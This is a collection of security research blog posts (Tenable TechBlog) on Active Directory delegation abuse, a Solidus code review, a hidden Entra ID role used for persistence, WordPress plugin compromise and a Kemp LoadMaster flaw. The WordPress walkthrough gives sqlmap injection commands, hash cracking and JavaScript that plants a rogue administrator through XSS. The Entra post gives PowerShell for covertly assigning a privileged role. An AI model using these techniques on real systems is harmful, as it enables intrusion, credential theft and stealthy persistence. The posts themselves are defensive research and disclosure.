As expected, EXAMPLE\std-user-1 (the attacker) has more privileges on the newly joined machine because they created the machine account. Nevertheless, the owner of the machine account is EXAMPLE\Domain Admins.

😎There are interesting attributes and property sets that can be used for many purposes, such as abusing the Resource-Based Constrained Delegation (RBCD), and so, the attribute msDS-AllowedToActOnBehalfOfOtherIdentity! We can now refer to this article (Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory — by E.Shamir) and see that, combined with S4U we can obtain a privileged session on the targeted machine.

So, with the method described in it, the attacker has enough rights to impersonate a privileged user on the target machine (NewMachine)💣.

🥷Step 3 — Take control of the real machine

First, the two computer objects do not have the property PrincipalsAllowedToDelegateToAccount. When the attacker tries to add a value on the computer where they are logged (WIN10–01), they can’t because of insufficient access rights. However, because they have more rights than usual on the NewMachine machine account, they can change this property without any issues.

The next steps will be straightforward, they can get the hash of the machine account with Mimikatz thanks to the local administrative rights.

And use them with Rubeus to request TGT and TGS:

The attacker can access files of NewMachine in the PowerShell window where the session has been previously opened, thanks to the forged ticket. In the other PowerShell windows on the right, the same command fails as a local administrator or as a standard user because by default (and without the forged ticket😈) the access to this machine is not allowed💥.

Recommendations

🚩The easiest way to prevent this (and other attacks!) is to authorize only administrators to add computers to the Active Directory domain. In our scenario, the attacker would have been blocked very early if the ms-DS-MachineAccountQuota attribute was well set. Privileged users are not subject to the maximum quota of the domain, it is unnecessary to set a value higher than 0 for that attribute. To remove the permission on regular users set the value to 0 using the following PowerShell command:

Set-ADDomain (Get-ADDomain).distinguishedname -Replace @{"ms-ds-MachineAccountQuota"="0"}

🧹Conflicting objects must be analyzed and cleaned. How did this conflict occur? What is the purpose of this object? Take the time to investigate the root cause. Perhaps it’s not due to malicious action, but replication issues. The safest way is to clean both objects and restart with a new object that has no conflict.

🛡️You can also look for evidence of this attack flow in the Windows Event logs or use solutions such as Tenable Identity Exposure which offers Indicators of Exposure that can help to identify the issue:

• Users Allowed to Join Computers to the Domain
• Conflicting Security Principals
• Dangerous Kerberos Delegation

Conclusion

There is no direct way to gain privileges on the targeted machine. However, an attacker can generate a DoS on a new machine joining the domain and expect the administrator to run the usual commands to fix the problem. This action will also allow an attacker to gain privileged rights via RBCD on the machine.

Using conflicting objects in Active Directory to gain privileges was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

As a Research Engineer at Tenable, we have several periods during the year to work on a subject of our choice, as long as it represents an interest for the team. For my part, I’ve chosen to carry out a code review on a Ruby on Rails project.

The main objective is to focus on reviewing code, understanding it and the various interactions between components.

I’ve chosen Solidus which is an open-source eCommerce framework for industry trailblazers. Originally the project was a fork of Spree.

Developed with the Ruby on Rails framework, Solidus consists of several gems. When you require the solidus gem in your Gemfile, Bundler will install all of the following gems:

• solidus_api (RESTful API)
• solidus_backend (Admin area)
• solidus_core (Essential models, mailers, and classes)
• solidus_sample (Sample data)

All of the gems are designed to work together to provide a fully functional ecommerce platform.

Project selection

Solidus wasn’t my first choice, I originally wanted to select Zammad, which is a web-based open source helpdesk/customer support system also developed with Ruby on Rails.

The project is quite popular and, after a quick look, has a good attack surface. This type of project is also interesting because for many businesses, the support/ticketing component is quite critical, identifying a vulnerability in a project such as Zammad almost guarantees having an interesting vulnerability !

For various reasons, whether it’s on my professional or personal laptop, I need to run the project in a Docker, something that’s pretty common today for a web project but :

Zammad is a project that requires many bricks such as Elasticsearch, Memcached, PostgresQL & Redis and although the project provided a ready-to-use docker-compose, as soon as I wanted to use it in development mode, the project wouldn’t initialize properly.

Rather than waste too much time, I decided to put it aside for another time (for sure) and choose another project that seemed simpler to get started on.

After a tour of Github, I came across Solidus, which not only offers instructions for setting up a development environment in just a few lines, but also has a few public vulnerabilities.

For us, this is generally a good sign in terms of communication in case of a discovery. This shows that the publisher is open to exchange, which is unfortunately not always the case.

The reality is that I also had a few problems with the Solidus Dockerfile supplied, but by browsing the issues and making some modifications on my own I was able to quickly launch the project.

Ruby on Rails Architecture & Attack Surface

Like many web frameworks, Ruby on Rails uses an MVC architecture, although this is not the theme of this blog post, a little reminder doesn’t hurt to make sure you understand the rest:

• Model contains the data and the logic around the data (validation, registration, etc.)
• View displays the result to the user
• The Controller handles user actions and modifies model and view data. It acts as a link between the model and the view.

Another important point about Ruby on Rails is that this Framework is “Convention over Configuration”, which means that many choices are made for you, and means that all environments used will have similarities, which makes it easier to understand a project from an attacker’s point of view if you know how the framework works.

In a Ruby on Rails project, application routing is managed directly by the ‘config/routes.rb’ file. All possible actions are defined in this file !

As explained in the overview chapter, Solidus is composed of a set of gems (Core, Backend & API) designed to work together to provide a fully functional ecommerce platform.

These three components are independent of each other, so when we audit the Github Solidus/Solidus project, we’re actually auditing multiple projects with multiple distinct attack surfaces that are more or less interconnected.

Solidus has three main route files :

• Admin Namespace SolidusAdmin::Engine
• Backend Namespace Spree::Core::Engine
• API Namespace Spree::Core::Engine

Two of the three files are in the same namespace, while Admin is more detached.

A namespace can be seen as a “group” that contains Classes, Constants or other Modules. This allows you to structure your project. Here, it’s important to understand that API and Backend are directly connected, but cannot interact directly with Admin.

If we take a closer look at the file, we can see that routes are defined in several ways. Without going into all the details and subtleties, you can either define your route directly, such as

get '/orders/mine', to: 'orders#mine', as: 'my_orders'

This means “The GET request on /orders/mine” will be sent to the “mine” method of the “Orders” controller (we don’t care about the “as: ‘my_orders” here).

module Spree
  module Api
    class OrdersController < Spree::Api::BaseController
      #[...]
      def mine
        if current_api_user
          @orders = current_api_user.orders.by_store(current_store).reverse_chronological.ransack(params[:q]).result
          @orders = paginate(@orders)
        else
          render "spree/api/errors/unauthorized", status: :unauthorized
        end
      end
      #[...]

Or via the CRUD system using something like :

resources :customer_returns, except: :destroy

For the explanations, I’ll go straight to what is explained in the Ruby on Rails documentation :

“In Rails, a resourceful route provides a mapping between HTTP verbs and URLs to controller actions. By convention, each action also maps to a specific CRUD operation in a database.”

So here, the :customer_returns resource will link to the CustomerReturns controller for the following URLs :

• GET /customer_returns
• GET /customer_returns/new
• POST /customer_returns
• GET /customer_returns/:id
• GET /customer_returns/:id/edit
• PATCH/PUT /customer_returns/:id
• ̶D̶E̶L̶E̶T̶E̶ ̶/̶c̶u̶s̶t̶o̶m̶e̶r̶_̶r̶e̶t̶u̶r̶n̶s̶/̶:̶i̶d̶ is ignored because of “except: :destroy”

So, with this, it’s easy to see that Solidus has a sizable attack surface.

Static Code Analysis

This project also gives me the opportunity to test various static code analysis tools. I don’t expect much from these tools but as I don’t use them regularly, this allows me to see what’s new and what’s been developing.

The advantage of having an open source project on Github is that many static analysis tools can be run through a Github Action, at least… in theory.

Not to mention all the tools tested, CodeQL is the only one that I was able to run “out of the box” via a Github Action, the results are then directly visible in the Security tab.

Processing the results from all the tools takes a lot of time, many of them are redundant and I have also observed that some paid tools are in fact just overlays of open source tools such as Semgrep (the results being exactly the same / the same phrases).

Special mention to Brakeman, which is a tool dedicated to the analysis of Ruby on Rails code, the tool allows you to quickly and simply have some interesting path to explore in a readable manner.

Without going over all the discoveries that I have put aside (paths to explore). Some vulnerabilities are quick to rule out. Take for example the discovery “Polynomial regular expression used on uncontrolled data” from CodeQL :

In addition to seeming not exploitable to me, this case is not very interesting because it affects the admin area and therefore requires elevated privileges to be exploited.

Now with this “SQL Injection” example from Brakeman :

As the analysis lacks context, it does not know that in reality “price_table_name” does not correspond to a user input but to the call of a method which returns the name of a table (which is therefore not controllable by a user).

However, these tools remain interesting because they can give a quick overview of areas to dig.

Identifying a Solidus Website

Before getting into the nitty-gritty of the subject, it may be interesting to identify whether the visited site uses Solidus or not and for that there are several methods.

On the main shop page, it is possible to search for the following patterns :

<p>Powered by <a href="http://solidus.io/">Solidus</a></p>
/assets/spree/frontend/solidus_starter_frontend

Or check if the following JS functions are available :

Solidus()
SolidusPaypalBraintree

Or finally, visit the administration panel accessible at ‘/admin/login’ and look for one of the following patterns :

<img src="/assets/logo/solidus
<script src="/assets/solidus_admin/
solidus_auth_devise replaces this partial

Unfortunately, no technique seems more reliable than the others and these do not make it possible to determine the version of Solidus.

Using website as normal user

In order to get closer to the product, I like to spend time using it as a typical user and given the number of routes available, I thought I’d spend a little time there, but I was soon disappointed to see that for a classic user, there isn’t much to do outside the purchasing process. :

Once the order is placed, user actions are rather limited

• See your orders
• See a specific order (But no PDF or tracking)
• Update your information (Only email and password)

We will just add that when an order is placed, an email is sent to the user and a new email is sent when the product is shipped.

The administration is also quite limited, apart from the classic actions of an ecommerce site (management of orders, products, stock, etc.) there is only a small amount of configuration that can be done directly from the panel.

For example, it is not possible to configure SMTP, this configuration must be done directly in the Rails project config

Authentication & Session management

Authentication is a crucial aspect of web application security. It ensures that only authorized individuals have access to the application’s features and sensitive data.

Devise is a popular, highly configurable and robust Ruby on Rails gem for user authentication. This gem provides a complete solution for managing authentication, including account creation, login, logout and password reset.

One reason why Devise is considered a robust solution is its ability to support advanced security features such as email validation, two-factor authentication and session management. Additionally, Devise is regularly updated to fix security vulnerabilities and improve its features.

When I set up my Solidus project, version 4.9.3 of Devise was used, i.e. the latest version available so I didn’t spend too much time on this part which immediately seemed to me to be a dead end.

Authorization & Permissions management

Authorization & permissions management is another critical aspect of web application security. It ensures that users only have access to the features and data that they are permitted to access based on their role or permissions.

By default, Solidus only has two roles defined

• SuperUser : Namely the administrator, which therefore allows access to all the functionalities
• DefaultCustomer : The default role assigned during registration, the basic role simply allowing you to make purchases on the site

To manage this brick, Solidus uses a gem called CanCanCan. Like Devise, CanCanCan is considered as a robust solution due to its ability to support complex authorization scenarios, such as hierarchical roles and dynamic permissions. Additionally, CanCanCan is highly configurable.

Furthermore, CanCanCan is highly tested and reliable, making it a safe choice for critical applications. It also has an active community of developers who can provide assistance and advice if needed.

Some Rabbit Holes

1/ Not very interesting Cross-Site Scripting

Finding vulnerabilities is fun, even more so if they are critical, but many articles do not explain that the search takes a lot of time and that many attempts lead to nothing.

Digging into these vulnerabilities, even knowing that they will lead to nothing, is not always meaningless.

Let’s take this Brakeman detection as an example :

Despite the presence of `:target => “_blank”` which therefore makes an XSS difficult to exploit (or via crazy combinations such as click wheel) I found it interesting to dig into this part of the code and understand how to achieve this injection simply because this concerns the administration part.

Here’s how this vulnerability could be exploited :

1/ An administrator must modify the shipping methods to add the `javascript:alert(document.domain)` as tracking URL

2/ A user must place an order

3/ An administrator must validate the order and add a tracking number

4/ The tracking URL will therefore correspond to the payload which can be triggered via a click wheel

By default, the only role being possible being an administrator the only possibility is that an administrator traps another administrator… in other words, far from being interesting

Note : According to Solidus documentation, in a configuration that is not the basic one, it would be possible for a user with less privileges to exploit this vulnerability

Although the impact and exploitation are very low, we have pointed out the weakness to Solidus. Despite several attempts to contact them, we have not received a response.
The vulnerability was published under CVE-2024–4859

2/ Solidus, State Machine & Race Conditions

In an ecommerce site, I find that testing race conditions is a good thing because certain features are conducive to this test, such as discount tickets.

But before talking about race condition, we must understand the concept of State machine

A state machine is a behavioral model used in software development to represent the different states that an object or system can be in, as well as the transitions between those states. In the context of a web application, a state machine can be used to model the different states that a user or resource can be in, and the actions that can be performed to transition between those states.

For example, in Solidus, users can place orders. A user can be in one of several states with respect to an order, such as “pending”, “processing”, or “shipped”. The state machine would define these states and the transitions between them, such as “place order” (which transitions from “pending” to “processing”), “cancel order” (which transitions from “processing” back to “pending”), and “ship order” (which transitions from “processing” to “shipped”).

Using a state machine in a web application provides several benefits. First, it helps to ensure that the application is consistent and predictable, since the behavior of the system is clearly defined and enforced. Second, it makes it easier to reason about the application and debug issues, since the state of the system can be easily inspected and understood. Third, it can help to simplify the codebase, since complex logic can be encapsulated within the state machine.

If I talk about that, it’s because the Solidus documentation has a chapter dedicated to that and I think it’s quite rare to highlight it !

Now we can try to see if any race conditions are hidden in the use of a promotion code.

This section of the code being still in Spree (the ancestor of Solidus), I did not immediately get my hands on it, but in the case of a whitebox audit, it is sometimes easier to trace the code from an error in the site.

In this case, by applying the same promo code twice, the site indicates the error “The coupon code has already been applied to this order”

Then simply look for the error in the entire project code and then trace its use backwards to the method which checks the use of the coupon

It’s quite difficult to go into detail and explain all the checks but we can summarize by simply explaining that a coupon is associated with a specific order and as soon as we try to apply a new coupon, the code checks if it is already associated with the order or not.

So to summarize, this code did not seem vulnerable to any race conditions.

Presenting all the tests carried out would be boring, but we understand from reading these lines that the main building blocks of Solidus are rather robust and that on a default installation, I unfortunately could not find much.

So, maybe it is more interesting to focus on custom development, in particular extensions. On solidus, we can arrange the extensions according to 3 types

• Official integrations : Listed on the main website, we mainly find extensions concerning payments
• Community Extensions : Listed on a dedicated Github repository, we find various and varied extensions that are more or less maintained
• Others Extensions : Extensions found elsewhere, but there’s no guarantee that they’ll work or that they’ll be supported

Almost all official extensions require integration with a 3rd party and will therefore make requests on a third party, which is what I wanted to avoid here.

Instead, I turned to the community extensions to test a few extensions for which I would have liked to have native functionality on the site, such as PDF invoice export.

For this, I found the Solidus Print Invoice plugin, which has not been maintained for 2 years. You might think that this is a good sign from an attacker’s point of view, except that in reality the plugin is not designed to work with Solidus 4, so the first step was to make it compatible so that it could be installed …

As indicated in the documentation, this plugin only adds PDF generation on the admin side.

To cut a long story short, this plugin didn’t give me anything new, and I spent more time installing it than I did understanding that I wouldn’t get any vulnerabilities from it.

I haven’t had a look at it, but it’s interesting to note that other plugins such as Solidus Friendly Promotions, according to its documentation, replace Solidus cores features and are therefore inherently more likely to introduce a vulnerability.

Conclusion

Presenting all the tests that can and have been carried out is also far too time-consuming. Code analysis really is time-consuming, so to claim that I’ve been exhaustive and analyzed the whole application would be false but, after spending a few days on Solidus, I think it’s a very interesting project from a security point of view.

Of course, I’d have liked to have been able to detail a few vulnerabilities, but this blog post tends to show that you can’t always be fruitful.

Solidus — Code Review was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

The “Directory Synchronization Accounts” Entra role is very powerful (allowing privilege escalation to the Global Administrator role) while being hidden in Azure portal and Entra admin center, in addition to being poorly documented, making it a perfect stealthy backdoor for persistence in Entra ID 🙈

This was discovered by Tenable Research while working on identity security.

“Directory Synchronization Accounts” role

Permissions inside Microsoft Entra ID (e.g. reset user password, change group membership, create applications, etc.) are granted through Entra roles. This article focuses on the Directory Synchronization Accounts role among the around 100 built-in Entra roles. This role has the ID “d29b2b05–8046–44ba-8758–1e26182fcf32”, it has the PRIVILEGED label that was recently introduced, and its description is:

This is a privileged role. Do not use. This role is automatically assigned to the Microsoft Entra Connect service, and is not intended or supported for any other use.

A privileged role that one should not use? It sounds like an invitation to me! 😉

The documentation seems to say that this special role cannot be freely assigned:

This special built-in role can’t be granted outside of the Microsoft Entra Connect wizard

This is incorrect since it can be assigned technically, even if it shouldn’t be (pull-request to fix this).

Privileged role

I confirm that the role is privileged because, of course, it contains some permissions marked as privileged, but also because it has implicit permissions in the private undocumented “Azure AD Synchronization” API (not to be confused with the public “Microsoft Entra Synchronization” API).

These permissions allow escalation up to the Global Administrator role using several methods that we will see later💥

Normal usage by Microsoft Entra Connect

The normal usage of this role is indeed to be assigned to the Entra service account used by “Entra Connect” (formerly “Azure AD Connect”), i.e. the user named “On-Premises Directory Synchronization Service Account” which has a UPN with this syntax: “SYNC_<name of the on-prem server where Entra Connect runs>_<random id>@tenant.example.net”.

Even though it is not documented (I’ve proposed a pull-request to fix this), this role is also assigned to the similar Entra service account used by “Entra Cloud Sync” (formerly “Azure AD Connect Cloud Sync”), i.e. the user also named “On-Premises Directory Synchronization Service Account” but which has a UPN with this syntax: “ADToAADSyncServiceAccount@tenant.example.net” instead.

This role grants to the Entra service user, the permissions it requires to perform its inter-directory provisioning duties, such as creating/updating hybrid Entra users from the on-premises AD users, updating their password in Entra when it changes in AD with Password Hash Sync enabled, etc.

Security defaults

Security defaults is a feature in Entra ID allowing to activate multiple security features at once to increase security, notably requiring Multi-Factor Authentication (MFA). However, as documented by Microsoft and highlighted by Dr. Nestori Syynimaa @DrAzureAD, the “Directory Synchronization Accounts” role assignees are excluded from security defaults!

Dr. Nestori Syynimaa on Twitter: "Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE / Twitter"

Pro tip for threat actors:Create your persistent account as directory synchronization account. It has nice permissions and excluded from security defaults 🥷Pro tip for admins:Purchase Azure AD premium and block all users with that role (excluding the real sync account) 🔥 https://t.co/tm7YZtSdQv pic.twitter.com/RUnvILwucE

Nestori also confirmed that the limitation concerns all those assigned to the role (I’ve proposed a pull-request to update the doc).

Once again, I understand the need for this since the legitimate accounts are user accounts, thus subject to MFA rules. However, this could be abused by a malicious administrator who wants to avoid MFA 😉

Hidden role

Here is the proof that this role is hidden in the Azure portal / Entra admin center. See this Entra Connect service account apparently having 1 role assigned:

But no results are shown in the “Assigned roles” menu (same in the other tabs, e.g. “Eligible assignments”) 🤔:

Actually I tested it in several of my tenants and I noticed that the role was displayed in another tenant:

I suppose that the portal is running a different version of the code, or due to a feature-flag or A/B testing, because this one uses the MS Graph API (on graph.microsoft.com) to list the role assignments:

Whereas the other uses a private API (on api.azrbac.mspim.azure.com):

I noticed this difference last year when I initially reported this behavior to MSRC.

And what about the “Roles and administrators” menu? We should be able to see the “Directory Synchronization Accounts” built-in role, isn’t it? Well, as you guessed, it’s hidden too 🙈 (in all my tenants: no difference here):

Note that for those that prefer it, the observations are identical in the Entra admin center.

I understand that Microsoft decided to hide it since this is a technical role that isn’t meant to be assigned by customers. A handful of other similar roles are hidden too. However, from a security perspective, I find it dangerous because organizations cannot use the Microsoft portals to see who may have this privileged role assigned illegitimately 😨! I reported this concern to MSRC (reference VULN-083495) last year, who confirmed that it was not a security issue and that they created a feature request to eventually improve the UX to help customers understand it.

This is the reason why I consider that this privileged role is a stealthy persistence method for attackers who compromised an Entra tenant.

Abuse methods

We will see how the security principals (users, but also service principals!) assigned to the “Directory Synchronization Accounts” role can elevate their privileges to the Global Administrator role! 😎

Password reset

There are several articles online explaining that the Entra Connect (ex- Azure AD Connect) service account in Entra ID is allowed to reset user passwords. One example is the “Unnoticed sidekick: Getting access to cloud as an on-prem admin” article by Dr. Nestori Syynimaa where “Set-AADIntUserPassword” is used.

I suppose this is allowed by the “microsoft.directory/passwordHashSync/allProperties/allTasks” Entra permission of the role, but I cannot check for sure.

There are some limitations though:

• Only hybrid accounts (synchronized from on-premises AD) can be targeted (which was only recently fixed)
• Only if Password-Hash Sync (PHS) is enabled, but the role allows to enable it
• Only via the private “Azure AD Synchronization” API, that is implemented in AADInternals, whose endpoint is https://adminwebservice.microsoftonline.com/provisioningservice.svc and it must not be confused with other similarly named APIs: the public Microsoft Entra Synchronization API, or the private Azure AD Provisioning API. So, the reset must be done using the Set-AADIntUserPassword AADInternals PowerShell cmdlet.
• Not exploitable if the target has MFA or FIDO2 authentication enforced since the password can still be reset but authentication won’t be possible

Add credentials to privileged application / service principal

The other interesting method was described by Fabian Bader in this article: “From on-prem to Global Admin without password reset”. I recommend that you read the original article, but in a summary, the idea is to identify an application or service principal having powerful Microsoft Graph API permissions, then abuse the “microsoft.directory/applications/credentials/update” or “microsoft.directory/servicePrincipals/credentials/update” Entra permissions, which the “Directory Synchronization Accounts” role holds, to add credentials to it. Thus allowing to authenticate as the service principal, and abuse the appropriate method corresponding to the dangerous Graph API permission to escalate to Global Admin.

This method was also described by Dirk-jan Mollema in this article: “Azure AD privilege escalation — Taking over default application permissions as Application Admin“.

Manage role assignment

Since one cannot manage this role using Azure portal nor Entra admin center, how to list or manage its assignees? We will see how, using the Microsoft Graph PowerShell SDK since the Azure AD PowerShell module is now deprecated.

List role assignees

The Get-MgDirectoryRoleMember command allows to list the security principals assigned to a role. We reference the “Directory Synchronization Accounts” role by its well-known ID (as seen in the beginning) instead of its name for better reliability:

Connect-MgGraph -Scopes "Domain.Read.All"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Get-MgDirectoryRoleMember -DirectoryRoleId $dirSync.Id | Format-List *

The output is not very consistent because role assignees are “security principals” which can be either users, groups, or service principals (undocumented 😉), so different types of objects.

In this example I have specified the “Domain.Read.All” Graph API permission when connecting, because it is usually already delegated, but the least privileged permission is actually “RoleManagement.Read.Directory”.

Add role assignment

And how an attacker wishing to abuse this role for stealthy persistence would assign it? With the New-MgRoleManagementDirectoryRoleAssignment command:

Connect-MgGraph -Scopes "RoleManagement.ReadWrite.Directory"
$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
$hacker = Get-MgUser -UserId upn@example.onmicrosoft.com
New-MgRoleManagementDirectoryRoleAssignment -RoleDefinitionId $dirSync.Id -PrincipalId $hacker.Id -DirectoryScopeId "/"

In this example, I have specified the “RoleManagement.ReadWrite.Directory” Graph API permission when connecting, which is the least privileged permission.

Also, if this role has never been used in the tenant (for example if Entra Connect / Entra Cloud Sync was never configured), the role instance must be created from the role template before usage, with this command:

New-MgDirectoryRole -RoleTemplateId "d29b2b05-8046-44ba-8758-1e26182fcf32"

Remove role assignment

A malicious role assignment, or one which is a leftover from when the Entra tenant was hybrid, can be removed with the Remove-MgDirectoryRoleMemberByRef command:

$dirSync = Get-MgDirectoryRole -Filter "RoleTemplateId eq 'd29b2b05-8046-44ba-8758-1e26182fcf32'"
Remove-MgDirectoryRoleMemberByRef -DirectoryRoleId $dirSync.Id -DirectoryObjectId <object ID of the assignee to remove>

Recommendations

➡️ As a conclusion, my recommendation is to list and monitor the security principals assigned to the “Directory Synchronization Accounts” role. Since you cannot use the Azure portal / Entra admin center to see those, you must use the Graph API (or the deprecated Azure AD PowerShell module) as described above. Thankfully, you will soon be able list all role assignees from the comfort of Tenable One or Tenable Identity Exposure.

🕵️ Any unrecognized suspicious assignee must be investigated because it may be a potential backdoor. Does it look like a legitimate Entra Connect or Entra Cloud Sync service user? Does its creation date correspond to the set up date of hybrid synchronization? Etc. Tenable Identity Exposure offers the Suspicious “Directory Synchronization Accounts” Role Assignment Indicator of Exposure (IoE) allowing automatic identification of those suspicious “Directory Synchronization Accounts” role assignments, including more detailed recommendations.

🛡️ As a safety net, you can also follow Dr. Nestori Syynimaa’s recommendation to create a Conditional Access policy to block all users with that role, except the real legitimate synchronization user. An alternative shared by Ru Campbell and Nathan McNulty is to have a Conditional Access policy to limit this role only from known IPs (the exit IP of the on-premises Entra Connect / Cloud Sync servers).

🤞 Finally, I hope that Microsoft will soon find a solution, with a better user experience, allowing to discourage the usage of the “Directory Synchronization Accounts” role, without resorting to hiding it, so customers can use the Azure portal or Entra admin center to see the role and its assignees.

Stealthy Persistence with “Directory Synchronization Accounts” Role in Entra ID was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

WordPress Core is the most popular web Content Management System (CMS). This free and open-source CMS written in PHP allows developers to develop web applications quickly by allowing customization through plugins and themes. WordPress can work in both a single-site or a multisite installation.

Although, as demonstrated by the recent CVE-2024–4439 vulnerability, WordPress is not flawless, it remains an extremely robust solution, and from an attacker’s point of view, it’s much easier to find another entry point to compromise a WordPress instance.

Luckily (or not) this other vector exists and it’s WordPress plugins. With nearly 60,000 free extensions available, any one of them can represent a possible gateway to a complete compromise of your instance.

Based on our day-to-day work at Tenable Research, we will illustrate this in this article through different steps/scenarios on a real WordPress instance.

1/ Identify available WordPress plugins

When a WordPress plugin is created, developers can rely on a number of standards. Among these standards is the “Readme.txt” file, which many plugins respect.

This file can be used by an attacker to identify whether or not a plugin is available. In the knowledge that this file is most of the time available at the URL “http://WORDPRESS/wp-content/plugins/[PLUGIN SLUG]/readme.txt” using a wordlist of plugin names, an attacker can perform bruteforce to identify available plugins.

We can see here that we have two plugins installed

• WPS Hide Login
• Paid Memberships Pro

If you take a closer look at the second one, you’ll see that it’s installed in version 2.9.7

Note : Sometimes the stable tag is empty but you can still look at the changelog section

A quick search reveals that this plugin is vulnerable to an unauthenticated SQL injection !

Now that we’ve identified the available plugins and that one of them is vulnerable, we’ll now look at how to compromise the WordPress instance.

2/ From SQL Injection to complete compromission

First, you need to understand the vulnerability in order to understand how to exploit it. Either by

• Downloading a vulnerable version, looking at the code and trying to reproduce the vulnerability
• Or a public exploit is already available

In our case, the vulnerability is detailed in this article and the command to exploit it via the SQLmap tool is provided.

With SQL Injection, among the available techniques, the most common consists of extracting the users and their password hash.

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_users -C user_login,user_pass
[...]
[14:59:53] [INFO] GET parameter 'code' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[...]
GET parameter 'code' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 62 HTTP(s) requests:
---
Parameter: code (GET)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: rest_route=/pmpro/v1/order&code=a' AND (SELECT 1804 FROM (SELECT(SLEEP(5)))jJJd) AND 'MnNj'='MnNj
[...]
Database: wasvwa
Table: wp_users
[2 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| subscriber | $P$BQG8CvNGjGGbMmr5KxN8p3BnwdgMbf0 |
| admin      | $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1 |
+------------+------------------------------------+

Note : Users are usually stored in the ‘wp_users’ table, with ‘wp_’ being the basic prefix. If this is not the case, you can search for the table name/prefix by listing the columns with the following SQLmap command :

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL —-columns
[...]
[15:50:38] [INFO] retrieved: wp_pmpro_membership_ordermeta

Now that we have recovered the users and the hashes we need to find the password in clear text. We will not go into the details of this step here and simply use hashcat with a wordlist to recover the password in plain text.

The only important option to understand here is `-m 400` which translates as “hash mode 400”. The number 400 corresponds to the password hashing technique used by WordPress. In the background, WordPress uses the ‘wp_hash_password()’ function which uses the PHPass library and, in short, returns an MD5 hashed password with additional security mechanisms.

hashcat -m 400 -a 0 -o cracked.txt hash.txt wordlist.txt
[...]
cat cracked.txt
> $P$BUwEadKq2ID1rSD6/G4/tTf85WONEf1:password

To summarize, we identified the available plugins, one of them is in a version vulnerable to an unauthenticated SQL injection which we exploited to retrieve the list of available users with their hashes which we bruteforce to recover the clear password of the administrator !

The next step is therefore to authenticate, to do this, by default, the URL of the WordPress admin panel is available at the URL /wp-admin/

Except that in our case, we are redirected to a 404! If we return to the list of installed plugins, we remember that “WPS Hide Login” is installed.

WPS Hide Login is a very light plugin that lets you easily and safely change the url of the login form page to anything you want.

Once again, we will be able to use our SQL injection to find the real login URL. For this plugin, what we are looking for is stored in column ‘option_value’ of the table ‘wp_options’

sqlmap -u "http://192.168.1.27/?rest_route=/pmpro/v1/order&code=a" -p code --dbms=MySQL -dump -T wp_options -C option_value --where "option_name='whl_page'"
[...]
Table: wp_options
[1 entry]
+--------------+
| option_value |
+--------------+
| hidden_login |
+--------------+

We can now access the login page and authenticate.

Once authenticated, to obtain an RCE, among the available techniques the two simplest are as follows :

• Upload a new malicious plugin to execute code
• Edit an existing file to insert malicious code

The second is the simplest because everything is already there by default, you just have to go to “Tools > Theme File Editor > Themes Functions” and insert a piece of PHP code allowing you to execute code.

Once saved, we can therefore execute arbitrary code on our WordPress instance

3/ From Cross-Site Scripting to complete compromission

Less direct than an SQLi, an XSS can also compromise a WordPress instance, and for this example we’ll take the WP RSS Aggregator version 4.23.8.

This plugin is vulnerable to a reflected XSS and therefore requires that the URL containing the payload be transmitted directly to the administrator.

The original request can be obtained by going to the plugin page and clicking on the “Dismiss this notification” button :

On the code side, in version below 4.23.9 of WP RSS Aggregator, this vulnerability is present due to the use of the `sprintf()` function, which is used to display the response to the user.

The notice_id value is inserted into the message without filtering allowing to insert arbitrary HTML code :

There are several XSS techniques that can be used to take control of an instance, the two most common being :

• Add a new administrator
• Modify page code directly to insert a webshell

The code below, for example, is used to create a new administrator :

requestURL = "/wp-admin/user-new.php";
nonceRegex = /ser" value="([^"]*?)"/g;

xhr = new XMLHttpRequest();
xhr.open("GET", requestURL, false);
xhr.send();

nonceMatch = nonceRegex.exec(xhr.responseText);
nonce = nonceMatch[1];
params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&email=attacker@was.tld&pass1=password&pass2=password&role=administrator";

xhr = new XMLHttpRequest();
xhr.open("POST", requestURL, true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send(params);

Simply save the code to a file on a publicly accessible server, send the URL containing our payload (loading our remote script) and you’re done.

A new administrator is added :

As a side note, the plugin author has corrected the vulnerability by escaping the HTML code of Exceptions messages :

Which corrects the vulnerability :

This article shows how to identify available plugins, compromise an instance via SQL Injection while bypassing a defense mechanism that hides the login URL, and also how to create a new administrator via Cross-Site Scripting.

Obviously, this article is only an introduction and does not describe all possible cases or less likely/common scenarios, such as the possibility of creating an administrator via SQL Injection.

However, we understand that although WordPress is reputed to be robust, plugins are not necessarily so and can therefore allow your instance to be compromised. It is therefore essential to review the plugins you install, check that they are up to date and if possible enable automatic updates.

WordPress : From vulnerability identification to compromising was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Rhino Labs discovered a pre-authentication command injection vulnerability in the Progress Kemp LoadMaster. LoadMaster is a load balancer product that comes in many different flavors and even has a free version. The flaw exists in the LoadMaster API. When an API request is received to either the ‘/access’ or ‘/accessv2’ endpoint, the embedded min-httpd server calls a script which in turn calls the access binary with the HTTP request info. The vulnerability works even when the API is disabled.

